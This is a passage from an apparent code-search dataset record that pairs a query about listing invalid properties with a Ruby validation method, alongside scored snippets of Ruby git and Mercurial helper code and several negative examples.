"def hg(command, error = true)\n unless Berkshelf.which('hg') || Berkshelf.which('hg.exe')\n raise HgNotInstalled.new\n end\n\n Berkshelf.log.debug(\"Running:hg #{command}\")\n response = shell_out(%|hg #{command}|)\n Berkshelf.log.debug(\"response:hg #{response.stdout}\")\n\n if response.error?\n raise HgCommandError.new(command, response, cache_path)\n end\n\n response.stdout.strip\n end",
"def need_help \n end",
"def hg(*args)\n cmd = \"hg #{args.shift} #{args.map { |arg| arg.inspect }.join(' ')}\"\n output = `#{cmd}`\n fail \"Mercurial command \\\"#{cmd}\\\" failed with status #{$?.exitstatus}\\n#{output}\" unless $?.exitstatus == 0\n return output\n end",
"def git_dir; end",
"def help; end",
"def help; end",
"def help; end",
"def init(location = \".\")\n @grit = Mercurial::Repository.create(location)\n end",
"def git_clone_main\n raise \"oops, not done\"\nend",
"def hg(g)\n (ENV['HOME'].gsub('/','') == 'app' ? :test : g)\nend",
"def repo_dir; end",
"def repository; end",
"def feats_help\n puts <<help\nusage: git feats <command>\n\ncommands:\n update Update your feats and command history on gitfeats.com\n help Display git-feats specific help\nhelp\n end",
"def git_wrapper (dpath = Dir.pwd)\n\n\tbegin\n\t\tRugged::Repository.new(dpath)\n\n\trescue Rugged::RepositoryError => err\n\n\t\tputs \"could not find repository at #{dpath}\"\n\t\texit 1\n\n\trescue Exception => err\n\n\t\tputs \"an error occurred while opening .git repository for #{dpath}\"\n\t\tputs err.message\n\t\texit 1\n\n\tend\n\nend",
"def usage\n $stderr.puts \"usage: #{$PROGRAM_NAME} <repo_name> load_check_head\"\n $stderr.puts \" #{$PROGRAM_NAME} <repo_name> save_check_head <check_head>\"\n $stderr.puts \" #{$PROGRAM_NAME} <repo_name> push_statuses_after_check_head\"\n $stderr.puts \" #{$PROGRAM_NAME} <repo_name> recent_statuses [offset [limit]]\"\n exit 1\nend",
"def repo_root; end",
"def repo=(_arg0); end",
"def repo=(_arg0); end",
"def repo=(_arg0); end",
"def repo=(_arg0); end",
"def help\r\n end",
"def help\r\n end",
"def help\n end",
"def help\n \n end",
"def path\n File.join(repository.path, '.hg', 'hgrc')\n end",
"def hg(g)\n (ENV['HOME'].gsub('/','') == 'app' ? 'test' : g)\nend",
"def help\n puts 'add help'\n end",
"def get_help_info\n 'See the documentation here - https://github.com/blockfrost/blockfrost-ruby'\n end",
"def help\n end",
"def help\n end",
"def help\n end",
"def help\n end",
"def help\n end",
"def help\n end",
"def help\n end",
"def build_gems; end",
"def check(command)\n if !(command =~ /\\n/) && (command =~ /^git/)\n self.kind = \"git\"\n self.aqlog(\"Git command\")\n reads = [\"git-upload-pack\", \"git upload-pack\"]\n writes = [\"git-receive-pack\", \"git receive-pack\"]\n sh_command = command.split(\" \")\n if sh_command.size == 3\n self.cmd_cmd = sh_command[0] + \" \" + sh_command[1]\n self.cmd_opt = sh_command[2]\n elsif sh_command.size == 2\n self.cmd_cmd = sh_command[0]\n self.cmd_opt = sh_command[1]\n else\n return false\n end\n\n # check the command for type\n if reads.include?(self.cmd_cmd)\n self.read = true\n self.aqlog(\"Read command\")\n end\n if writes.include?(self.cmd_cmd)\n self.write = true\n self.aqlog(\"Write command\")\n end\n return true\n elsif !(command =~ /\\n/) && (command =~ /^hg/)\n # something fails in here\n self.kind = \"hg\"\n self.aqlog(\"Hg command\")\n reads = [\"-R\"]\n writes = []\n sh_command = command.split(\" \")\n hg_command = { :cmd => sh_command[0],\n :cmdopt => sh_command[1],\n :fake_path => sh_command[2],\n :cmd2 => sh_command[3],\n :cmd3 => sh_command[4] }\n # probably those lines\n self.cmd_cmd = \"hg #{hg_command[:cmd]}\"\n self.cmd_opt = \"#{hg_command[:cmdopt]} #{hg_command[:fake_path]} #{hg_command[:cmd2]} #{hg_command[:cmd3]}\"\n self.aqlog(cmd_opt)\n if reads.include?(self.cmd_cmd)\n self.read = true\n self.aqlog(\"Read command\")\n end\n if writes.include?(self.cmd_cmd)\n self.write = true\n self.aqlog(\"Write command\")\n end\n return true\n else\n return false\n end\n end",
"def repo_init\n git :init\n end",
"def print_help\n puts \"gem_dep_tree gemname [version]\"\n exit\nend",
"def empty?\n @hg_client.repository_empty?\n end",
"def help\n puts \"Usage: git file-history filename\"\n puts \" Show blame history for a file\"\n exit 1\nend",
"def initialize_repo\n puts \"starting to initialize repo: '#{self.ident}' finished successfully.\"\n self.update_repo\n end",
"def git_project()\n \"\"\nend",
"def git_sources=(_arg0); end",
"def git_sources=(_arg0); end",
"def help\n\t\tself.usage(false)\n\t\texit EX_OK\n\tend",
"def usage\n puts <<End\nUsage: #{File.basename($0)} [<path>]\n\nGets the root or base directory of a repository.\n\nIf <path> is omitted, assumes you are in a git repository and operates on that repository.\nIf <path> is supplied, operates on the repository which contains that file/dir.\nEnd\n exit 1\nend",
"def push\n ensure_git_and_cucumber_available\n ensure_repository\n\n puts \"Not implemented yet... pull request for push please!\"\n end",
"def git_init\n @repo = Rugged::Repository.init_at repo_path.to_s\n @index = repo.index\n end",
"def help\n send_command \"--help\"\n end",
"def push\n hg 'push'\n end",
"def build_gem; end",
"def dump_help_if_requested\n return unless self[:help]\n dump_help\n exit\n end",
"def download_prog(repo_hash)\n if (repo_hash[:source] == \"github\")\n clone_repo(repo_hash)\n elsif (repo_hash[:source] == \"rubygems\")\n puts \"Unpacking gem #{repo_hash[:name]}...\"\n system \"gem unpack #{repo_hash[:name]} --version #{repo_hash[:version]}\"\n else\n raise \"Unexpected source of repo #{repo_hash[:name]}: #{repo_hash[:source]}\"\n end\nend",
"def initialize(path=\"\", create=false, config=nil)\n super(path, create, config)\n @hg = working_join \".hg\"\n @file_opener = Amp::Opener.new @root\n @file_opener.default = :open_file # these two are the same, pretty much\n @hg_opener = Amp::Opener.new @root\n @hg_opener.default = :open_hg # just with different defaults\n @filters = {}\n @changelog = nil\n @manifest = nil\n @dirstate = nil\n @staging_area = StagingArea.new(self)\n @working_lock_ref = @lock_ref = nil\n requirements = []\n \n # make a repo if necessary\n unless File.directory? @hg\n if create\n then requirements = init config\n else raise RepoError.new(\"Repository #{path} not found\")\n end\n end\n \n # no point in reading what we _just_ wrote...\n unless create\n # read requires\n # save it if something's up\n @hg_opener.open(\"requires\", 'r') {|f| f.each {|r| requirements << r.strip } } rescue nil\n end\n \n @store = Stores.pick requirements, @hg, Amp::Opener\n @config = Amp::AmpConfig.new :parent_config => config\n @config.read_file join(\"hgrc\")\n end",
"def help\n\nend",
"def command_help\n display_possible_actions\n end",
"def get_help\n nil\n end",
"def loadHandinPage\n\n updateModules()\n if @modulesUsed.include?(\"Svn\") then\n svnLoadHandinPage()\n else\n super()\n end\n end",
"def help\n h = []\n h << \"Usage: forge [COMMAND] [OPTIONS ...]\"\n h << \"\"\n h << \"COMMANDS:\"\n h << \" touch login and logout to test connection\"\n h << \" release release package(s)\"\n h << \" announce make an announcement\"\n h << \" publish publish website\"\n h << \"\"\n h << \"Add --help after command to learn more about each.\"\n puts h.join(\"\\n\")\n end",
"def make_commit_log\n\t\t\tdiff = read_command_output( 'hg', 'diff' )\n\t\t\tfail \"No differences.\" if diff.empty?\n\n\t\t\treturn diff\n\t\tend",
"def load_minimal_gems\r\n end",
"def commit(msg = nil)\n require_dep! 'awesome_spawn'\n require_cmd! git_cmd\n\n in_repo { AwesomeSpawn.run \"#{git_cmd} add #{pkg_files.join(' ')}\" }\n super(msg.nil? ? \"updated to #{version}\" : msg)\n self\n end",
"def use_git(opts)\n # The Deploy resources assumes you have already created the 'shared' directories\n FileUtils.mkdir_p File.join(opts[:destination], 'shared', 'log')\n\n # setup the optional action and revision\n rev = \"\"\n rev = \"revision \\\"#{opts[:revision]}\\\"\" if opts[:revision]\n action = \"\"\n action = \"action :rollback\" if opts[:rollback]\n action = \"action :force_deploy\" if opts[:force]\n\n @cookbook =<<EOBOOK\n deploy_revision \"#{opts[:destination]}\" do\n repo \"#{opts[:repository]}\"\n #{rev}\n shallow_clone true\n symlinks Hash.new\n symlink_before_migrate Hash.new\n create_dirs_before_symlink Array.new\n purge_before_symlink Array.new\n #{action}\n end\nEOBOOK\n end",
"def help_menu\n\n buffer, window = popup_buffer('help', 44)\n\n buffer[1] = \"--------------------------------------------\"\n buffer[2] = \"--- VimCity Help ---\"\n buffer[3] = \"--------------------------------------------\"\n\n buffer[6] = \" -- while in command mode (default) -- \"\n buffer[7] = \" ? : bring up help menu \"\n buffer[8] = \" h,j,k,l : move cursor \"\n buffer[9] = \" i : place building (enter insert mode) \"\n buffer[10] = \" x : destroy building underneath \"\n buffer[11] = \" cursor \"\n buffer[12] = \" :q : quit game \"\n\n buffer[14] = \" -- while in insert mode -- \"\n buffer[15] = \" p : place building \"\n buffer[16] = \" space : return to command mode \"\n\n buffer[window.height-2] = \"--------------------------------------------\"\n buffer[window.height-1] = \"--- press any key to return ---\"\n buffer[window.height] = \"--------------------------------------------\"\n\n redraw\n wait_for_input([\"any\"])\n quit\n end",
"def git_init\n @repo = Rugged::Repository.init_at(repo_path.to_s)\n @index = repo.index\n end",
"def update_repository\n %x( cd #{@work_dir} && git fetch --tags )\n end",
"def install_git\n\tKitchenplan::Log.debug \"Git is installed by the go.bat bootstrap on Windows, skipping install_git()\"\n end",
"def push_repo_changes_aux(repo, opts={})\n diffs = DiffSummary.new()\n\n # adding untracked files (newly added files)\n repo.stage_changes()\n\n # commit if there has been changes\n if repo.changed?\n repo.commit(opts[:commit_msg]||\"Pushing changes from client\") #TODO: make more descriptive\n end\n\n if opts[:remote_repo] and opts[:remote_repo_url]\n repo.add_remote(opts[:remote_repo],opts[:remote_repo_url])\n end\n\n unless opts[:no_fetch]\n repo.fetch(remote(opts[:remote_repo]))\n end\n\n local_branch = repo.local_branch_name\n\n remote_branch_ref = remote_branch_ref(local_branch, opts)\n\n #check if merge needed\n commit_shas = Hash.new\n merge_rel = repo.merge_relationship(:remote_branch,remote_branch_ref, :ret_commit_shas => commit_shas)\n commit_sha = nil\n diffs = DiffSummary.new_version(repo)\n\n if merge_rel == :equal\n commit_sha = commit_shas[:other_sha]\n elsif [:branchpoint,:local_behind].include?(merge_rel)\n if opts[:force]\n diffs = DiffSummary.diff(repo,local_branch, remote_branch_ref)\n if diffs.any_diffs?()\n repo.push(remote_branch_ref, {:force => opts[:force]})\n end\n commit_sha = repo.find_remote_sha(remote_branch_ref)\n else\n where = opts[:where] || 'server'\n msg = \"Merge needed before module (#{pp_module(repo)}) can be pushed to #{where}. \"\n if where.to_sym == :catalog\n msg << \" Either a merge into the local module can be done with pull-dtkn command, followed by push-dtkn or force\"\n else\n msg << \"Force\"\n end\n msg << \" push can be used with the '--force' option, but this will overwrite remote contents\"\n raise ErrorUsage.new(msg)\n end\n elsif merge_rel == :no_remote_ref\n repo.push(remote_branch_ref)\n commit_sha = commit_shas[:local_sha]\n elsif merge_rel == :local_ahead\n # see if any diffs between fetched remote and local branch\n # this has be done after commit\n diffs = DiffSummary.diff(repo,local_branch, remote_branch_ref)\n\n if diffs.any_diffs?()\n repo.push(remote_branch_ref, {:force => opts[:force]})\n end\n\n commit_sha = repo.find_remote_sha(remote_branch_ref)\n else\n raise Error.new(\"Unexpected merge_rel (#{merge_rel})\")\n end\n\n {\"diffs\" => diffs, \"commit_sha\" => commit_sha, \"repo_obj\" => repo}\n end",
"def help\n path = Dir[src_path('README')].first || Dir[src_path('README.md')].first || Dir[src_path('README.markdown')].first\n if path\n File.read path\n end\n end",
"def execute\n #require 'erb'\n\n root = Dir.pwd\n\n #has_profile = POM::Profile.find(root)\n has_profile = Dir.glob('profile{,.yml,.yaml,.rb}', File::FNM_CASEFOLD).first\n\n if has_profile and not $FORCE #if POM::Profile.find(root) and not $FORCE\n $stderr << \"PROFILE already exists. Use --force option to allow overwrite.\\n\"\n exit -1\n end\n\n require_rubygems\n\n require 'readme'\n require 'gemdo/gemspec'\n\n #prime = { \n # 'name' => File.basename(root),\n # 'version' => '0.0.0',\n # 'requires' => [],\n # 'summary' => \"FIX brief one line description here\",\n # 'contact' => \"FIX name <email> or uri\",\n # 'authors' => \"FIX names of authors here\",\n # 'repository' => \"FIX master public repo uri\"\n #}\n\n #current = Dir.glob('**/*', File::FNM_DOTMATCH)\n\n #if !File.exist?('.ruby')\n # File.open('.ruby', 'w'){|f| f << `ruby -v`}\n #end\n\n #has_package = Gemdo::Rubyspec.find(root)\n\n #if has_profile && !$FORCE\n # $stderr.puts \"Looks like your project is already built on a gemdo.\"\n # $stderr.puts \"To re-create the metadata files use the --force option.\"\n # return\n #end\n\n #name = File.basename(root)\n\n project = POM::Project.new(root)\n\n #name = project.name || File.basename(root)\n# profile = project.profile\n\n #if !has_package\n # #metadata.new_project\n # metadata.name = File.basename(root)\n # metadata.version = '0.0.0'\n # metadata.codename = 'FIXME A version codename is optional'\n #end\n\n# profile.summary = \"FIXME brief one line description here\"\n# profile.contact = \"FIXME name <#{ENV['EMAIL']}>\"\n# profile.authors << \"FIXME list of author's names here\"\n# profile.homepage = \"FIXME: http://your_website.org\"\n #profile.resources.repository = \"FIXME: master public repo uri\"\n\n if resources.empty?\n resources << Dir.glob('*.gemspec').first\n resources << Dir.glob('README{,.*}').first\n end\n\n resources.compact!\n\n resources.each do |file|\n case file\n when /\\.gemspec$/\n text = File.read(file)\n gemspec = /^---/.match(text) ? YAML.load(text) : Gem::Specification.load(file)\n project.import_gemspec(gemspec)\n when /^README/i\n readme = Readme.load(file)\n project.import_readme(readme)\n else\n text = File.read(file)\n obj = /^---/.match(text) ? YAML.load(text) : text\n case obj\n when ::Gem::Specification\n project.import_gemspec(obj)\n when String\n project.import_readme(obj)\n #when Hash\n #metadata.mesh(obj)\n else\n puts \"Cannot convert #{file} (skipped)\"\n end\n end\n end\n\n #project.root = root\n\n # load any meta entries that may already exist\n #project.reload unless options[:replace]\n\n #profile_file = profile.file ? profile.file : File.join(root,'PROFILE')\n\n #if $TRIAL\n #else\n # #if $FORCE or !(has_package or has_profile)\n # metadata.backup!\n # metadata.save! #(package_file)\n # #end\n #end\n\n text = project.profile.render\n \n if $TRIAL\n puts text\n else\n File.open('Profile', 'w'){ |f| f << text }\n\n puts \"'Profile' has been created or updated. Please review\"\n puts \"this file carefully and edit as needed.\\n\"\n end\n\n\n #diff = Dir.glob('**/*', File::FNM_DOTMATCH) - current\n #diff = diff.select{ |f| File.file?(f) }\n\n #if diff.empty?\n # puts \"Nothing has been done.\"\n #else\n # diff.each do |f|\n # puts \" #{f}\"\n # end\n #end\n end",
"def generate top_levels\n super\n @project_name = \"#{@outputdir.basename}.hhp\"\n generate_help_project\n end",
"def saveHandin()\n if @modulesUsed.include?(\"Svn\") then\n return svnSaveHandin()\n else\n return super()\n end\n end",
"def testCommandLineHelpShort\n executeSlave( [ '-h' ] )\n end",
"def remote_repository\n \"http://www.aQute.biz/repo\"\n end",
"def additional_disk_info\n raise \"repository hasn't been set!\" unless @my_repository\n\n return @repo_info[:branches], @repo_info[:contribs]\n end",
"def barf!(msg=nil)\n puts \"*** add_nocommit: %s \" % msg if msg\n exit -1\nend",
"def grit_update\n grit_repo = Repo.new(self.aq_repository.path)\n new_commits_count = grit_repo.commit_count(self.name) - self.commits.count\n count = 0\n while (count < new_commits_count)\n commits = grit_repo.commits(self.name, 10, count)\n commits.each do |c|\n if not self.commits.find_by_sha(c.id)\n a_commit = AqCommit.new(:sha => c.id,\n :log => c.message,\n :author_name => c.author.name,\n :created_at => c.committed_date,\n :committed_time => c.committed_date,\n :repository => self.aq_repository)\n c.diffs.each do |diff|\n begin\n a_file = AqFile.find_by_path(diff.b_path, :conditions => [\"aq_branch_id = ?\", self.id])\n rescue\n a_file = nil\n end\n if !a_file\n a_file = AqFile.new(:name => diff.b_path.split(\"/\").last, :path => diff.b_path)\n a_file.branch = self\n end\n self.files << a_file if !a_file.branch\n self.aq_repository.files << a_file if !a_file.repository\n a_commit.aq_files << a_file\n end\n a_commit.author = self.aq_repository.owner\n self.commits << a_commit\n self.save\n end\n end\n diff_c = new_commits_count - count\n if (diff_c > 10)\n count += 10\n else\n count += diff_c\n end\n end\n if self.aq_repository.owner.nil?\n the_user = User.our_current_user.login || \"error: cant get user login\"\n else\n the_user = self.aq_repository.owner.login\n end\n aq_logger(Settings.logs.scm, \"User #{the_user}, Branch : #{self.name}, #{count} commits treated.\")\n end",
"def commit_changes(description)\n git :add => '-A'\n git :commit => %Q(-qm \"thegarage-template: [#{@current_recipe}] #{description}\")\nend",
"def run( args )\n dir_str = args.shift\n case dir_str\n when '-h', '--help'\n help\n when '-v', '--version'\n @out.puts \"QuickGitHelp #{::QuickGitHelp::VERSION}\"\n nil\n when nil\n QuickGitHelp::Tutorial.new(Dir.pwd).create\n else\n QuickGitHelp::Tutorial.new(File.expand_path(dir_str)).create\n end\n\n rescue StandardError => err\n @err.puts \"ERROR: While executing quickgithelp ... (#{err.class})\"\n @err.puts \" #{err.to_s}\"\n exit 1\n end",
"def main\n last_good_root = from_file($cache_dir + '/root.txt') ||\n from_file('config/root.txt') ||\n raise(\"Can't find root.txt\")\n\n repository = Gem::TUF::Repository.new(\n root: JSON.parse(last_good_root),\n bucket: FileCachingBucket.new(HttpBucket.new($host))\n )\n\n gem_name = ARGV.shift\n\n specs = repository.target('latest_specs.4.8.gz')\n raise \"could not find latest_specs.4.8.gz\" unless specs\n specs = unmarshal_gz specs\n gem = specs.detect {|x| x[0] == gem_name } || raise(\"Can't find gem #{gem}\")\n\n gem_with_version = \"#{gem[0]}-#{gem[1]}\"\n gem_path = \"gems/#{gem_with_version}.gem\"\n gemspec_path = \"quick/Marshal.4.8/#{gem_with_version}.gemspec.rz\"\n\n repository.target(gemspec_path)\n repository.target(gem_path)\n\n puts \"Downloaded #{gem_path} and #{gemspec_path}\"\nend",
"def how_to_help # :nologin:\n end",
"def setup_repo\n status(2) {\n setup_path\n if @type == 'full'\n Repository::Git.clone(@repo, @type)\n end\n Repository::Git.pull(@repo, @type)\n }\n end",
"def setup\n default_repository.update_submodules(:recursive => true)\n true\n end",
"def configure_repository\n UnixUser.match_ownership(@user.homedir, @path)\n\n # application developer cannot change git hooks\n hooks = File.join(@path, 'hooks')\n FileUtils.chown_R(0, 0, hooks)\n\n render_file = lambda { |f, m, t|\n File.open(f, 'w', m) { |f| f.write(ERB.new(t).result(binding)) }\n }\n\n render_file.call(File.join(@path, 'description'), 0644, GIT_DESCRIPTION)\n render_file.call(File.join(@user.homedir, '.gitconfig'), 0644, GIT_CONFIG)\n\n render_file.call(File.join(hooks, 'pre-receive'), 0755, PRE_RECEIVE)\n render_file.call(File.join(hooks, 'post-receive'), 0755, POST_RECEIVE)\n end",
"def help\n command_object.display_usage(cli.command)\n exit\n end",
"def server_start_command\n\t\thg = Hglib.hg_path\n\t\traise \"couldn't find an `hg' executable in your PATH!\" unless hg.executable?\n\n\t\tcmd = [\n\t\t\thg.to_s,\n\t\t\t'--config',\n\t\t\t'ui.interactive=True',\n\t\t\t'serve',\n\t\t\t'--cmdserver',\n\t\t\t'pipe',\n\t\t]\n\n\t\tcmd << '--repository' << self.repo.to_s if self.repo\n\n\t\treturn cmd\n\tend",
"def git_push_if_changes( names ) ## optenfootball repo names e.g. world, england, etc.\n message = \"auto-update week #{Date.today.cweek}\"\n puts message\n\n names.each do |name|\n path = \"#{SportDb::Boot.root}/openfootball/#{name}\"\n\n Gitti::GitProject.open( path ) do |proj|\n puts ''\n puts \"###########################################\"\n puts \"## trying to commit & push repo in path >#{path}<\"\n puts \"Dir.getwd: #{Dir.getwd}\"\n output = proj.changes\n if output.empty?\n puts \"no changes found; skipping commit & push\"\n else\n proj.add( '.' )\n proj.commit( message )\n proj.push\n end\n end\n end\nend",
"def add_git_facts\n # see if we're in a git repo. first, we need a directory that exists\n dir = @path.expand_path.ascend.find {|p| p.directory? }\n \n Dir.chdir(dir) do\n root_result = Cmds.new \"git rev-parse --show-toplevel\"\n \n unless root_result.ok?\n @result.in_git_repo = false\n @result.is_git_root = false\n return\n end\n \n @result.in_git_repo = true\n \n git = @result.git = Result.new\n git.root = Pathname.new root_result.out.chomp\n @result.is_git_root = @path == git.root\n \n user = git.user = Result.new\n \n ['name', 'email'].each {|key|\n user[key] = begin\n Cmds.chomp! \"git config user.#{ key }\"\n rescue\n end\n }\n \n git.origin = begin\n Cmds.chomp! \"git remote get-url origin\"\n rescue\n end\n \n match = GITHUB_SSH_URL_RE.match(git.origin) ||\n GITHUB_HTTPS_URL_RE.match(git.origin)\n \n git.is_github = !! match\n \n return unless match\n \n git.owner = match['owner']\n git.name = match['name']\n git.full_name = \"#{ git.owner }/#{ git.name }\"\n \n if true == @args['github_api']\n github = git.github = Result.new\n github.api_url = \"https://api.github.com/repos/#{ git.owner }/#{ git.name }\"\n \n response = Net::HTTP.get_response URI(github.api_url)\n \n if response.is_a? Net::HTTPSuccess\n # parse response body and add everything to github result\n parsed = JSON.parse response.body\n parsed.each {|k, v| github[k] = v}\n else\n # assume it's private if we failed to find it\n github.private = true\n end\n \n end\n end\n end",
"def repo_path\n @repo_path ||= \"/tmp/extension-repo-#{id}\"\n end",
"def repo_path\n if !self.cmd_opt.empty?\n if self.is_git?\n self.fake_path = self.cmd_opt.gsub(\"'\",\"\").split(\"/\")[-1]\n self.real_path = Settings.aq_sh.user_home + \"/\" +\n Settings.aq_sh.user_name + \"/\" +\n Settings.git.repo_path + \"/\" +\n self.username_from_cmd + \"/\" +\n self.fake_path\n return self.real_path\n elsif self.is_hg?\n self.fake_path = self.cmd_opt.split(\" \")[1]\n self.real_path = Settings.aq_sh.user_home + \"/\" +\n Settings.aq_sh.user_name + \"/\" +\n Settings.hg.repo_path + \"/\" +\n self.fake_path\n return self.real_path\n end\n end\n end"
] | [
"0.63079613",
"0.6138545",
"0.6003532",
"0.6003532",
"0.6003532",
"0.6003532",
"0.5899056",
"0.586445",
"0.584282",
"0.58325857",
"0.58142763",
"0.56948423",
"0.5672224",
"0.5649325",
"0.5649325",
"0.5649325",
"0.5648724",
"0.56395864",
"0.56277436",
"0.5603573",
"0.55818063",
"0.5578025",
"0.5482038",
"0.5461354",
"0.5438295",
"0.54374826",
"0.54374826",
"0.54374826",
"0.54374826",
"0.54293007",
"0.54293007",
"0.5415757",
"0.54118127",
"0.5409932",
"0.54033834",
"0.54013646",
"0.5388445",
"0.53754354",
"0.53754354",
"0.53754354",
"0.53754354",
"0.53754354",
"0.53754354",
"0.53754354",
"0.5367003",
"0.5353414",
"0.5325432",
"0.53225386",
"0.5321191",
"0.5315359",
"0.52986085",
"0.5288034",
"0.52857256",
"0.52857256",
"0.5252618",
"0.52464795",
"0.52400786",
"0.52340853",
"0.52264494",
"0.5214027",
"0.52134955",
"0.5210952",
"0.52101004",
"0.51948315",
"0.5176347",
"0.5172101",
"0.514404",
"0.514332",
"0.5117386",
"0.51077974",
"0.5105361",
"0.51030546",
"0.50981325",
"0.50954854",
"0.5094353",
"0.5092064",
"0.50914943",
"0.5078076",
"0.50751644",
"0.50738275",
"0.50703764",
"0.5068564",
"0.506672",
"0.5063439",
"0.506279",
"0.50562847",
"0.5045249",
"0.50441647",
"0.5036988",
"0.50236803",
"0.5020555",
"0.5017188",
"0.5013542",
"0.50133413",
"0.50123864",
"0.5010607",
"0.5009222",
"0.49994746",
"0.499934",
"0.49985963"
] | 0.5750756 | 11 |
Show invalid properties with the reasons. Usually used together with valid? | def list_invalid_properties
invalid_properties = Array.new
if !@default_email.nil? && @default_email.to_s.length > 250
invalid_properties.push("invalid value for 'default_email', the character length must be smaller than or equal to 250.")
end
if !@default_phone.nil? && @default_phone.to_s.length > 15
invalid_properties.push("invalid value for 'default_phone', the character length must be smaller than or equal to 15.")
end
if @first_name.nil?
invalid_properties.push("invalid value for 'first_name', first_name cannot be nil.")
end
if @first_name.to_s.length > 30
invalid_properties.push("invalid value for 'first_name', the character length must be smaller than or equal to 30.")
end
if !@home_email.nil? && @home_email.to_s.length > 250
invalid_properties.push("invalid value for 'home_email', the character length must be smaller than or equal to 250.")
end
if !@home_extension.nil? && @home_extension.to_s.length > 10
invalid_properties.push("invalid value for 'home_extension', the character length must be smaller than or equal to 10.")
end
if !@home_phone.nil? && @home_phone.to_s.length > 15
invalid_properties.push("invalid value for 'home_phone', the character length must be smaller than or equal to 15.")
end
if @identifier.nil?
invalid_properties.push("invalid value for 'identifier', identifier cannot be nil.")
end
if @identifier.to_s.length > 15
invalid_properties.push("invalid value for 'identifier', the character length must be smaller than or equal to 15.")
end
if @last_name.nil?
invalid_properties.push("invalid value for 'last_name', last_name cannot be nil.")
end
if @last_name.to_s.length > 30
invalid_properties.push("invalid value for 'last_name', the character length must be smaller than or equal to 30.")
end
if !@mobile_email.nil? && @mobile_email.to_s.length > 250
invalid_properties.push("invalid value for 'mobile_email', the character length must be smaller than or equal to 250.")
end
if !@mobile_extension.nil? && @mobile_extension.to_s.length > 10
invalid_properties.push("invalid value for 'mobile_extension', the character length must be smaller than or equal to 10.")
end
if !@mobile_phone.nil? && @mobile_phone.to_s.length > 15
invalid_properties.push("invalid value for 'mobile_phone', the character length must be smaller than or equal to 15.")
end
if !@office_email.nil? && @office_email.to_s.length > 250
invalid_properties.push("invalid value for 'office_email', the character length must be smaller than or equal to 250.")
end
if !@office_extension.nil? && @office_extension.to_s.length > 10
invalid_properties.push("invalid value for 'office_extension', the character length must be smaller than or equal to 10.")
end
if !@office_phone.nil? && @office_phone.to_s.length > 15
invalid_properties.push("invalid value for 'office_phone', the character length must be smaller than or equal to 15.")
end
if [email protected]? && @title.to_s.length > 50
invalid_properties.push("invalid value for 'title', the character length must be smaller than or equal to 50.")
end
return invalid_properties
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n pattern = Regexp.new(/^$|^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$/)\n if [email protected]? && @uuid !~ pattern\n invalid_properties.push(\"invalid value for \\\"uuid\\\", must conform to the pattern #{pattern}.\")\n end\n\n pattern = Regexp.new(/^$|^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$/)\n if !@vdisk_id.nil? && @vdisk_id !~ pattern\n invalid_properties.push(\"invalid value for \\\"vdisk_id\\\", must conform to the pattern #{pattern}.\")\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @style.nil?\n invalid_properties.push('invalid value for \"style\", style cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n if [email protected]? && @name.to_s.length > 31\n invalid_properties.push('invalid value for \"name\", the character length must be smaller than or equal to 31.')\n end\n\n pattern = Regexp.new(/^[a-zA-Z0-9\\-\\._:]+$/)\n if [email protected]? && @name !~ pattern\n invalid_properties.push(\"invalid value for \\\"name\\\", must conform to the pattern #{pattern}.\")\n end\n\n pattern = Regexp.new(/^$|((^20|5[0-9a-fA-F]{1}):([0-9a-fA-F]{2}:){6}([0-9a-fA-F]{2}))/)\n if !@static_wwpn_address.nil? && @static_wwpn_address !~ pattern\n invalid_properties.push(\"invalid value for \\\"static_wwpn_address\\\", must conform to the pattern #{pattern}.\")\n end\n\n pattern = Regexp.new(/^$|((^20|5[0-9a-fA-F]{1}):([0-9a-fA-F]{2}:){6}([0-9a-fA-F]{2}))/)\n if [email protected]? && @wwpn !~ pattern\n invalid_properties.push(\"invalid value for \\\"wwpn\\\", must conform to the pattern #{pattern}.\")\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @is_object_icon.nil?\n invalid_properties.push('invalid value for \"is_object_icon\", is_object_icon cannot be nil.')\n end\n\n invalid_properties\n end",
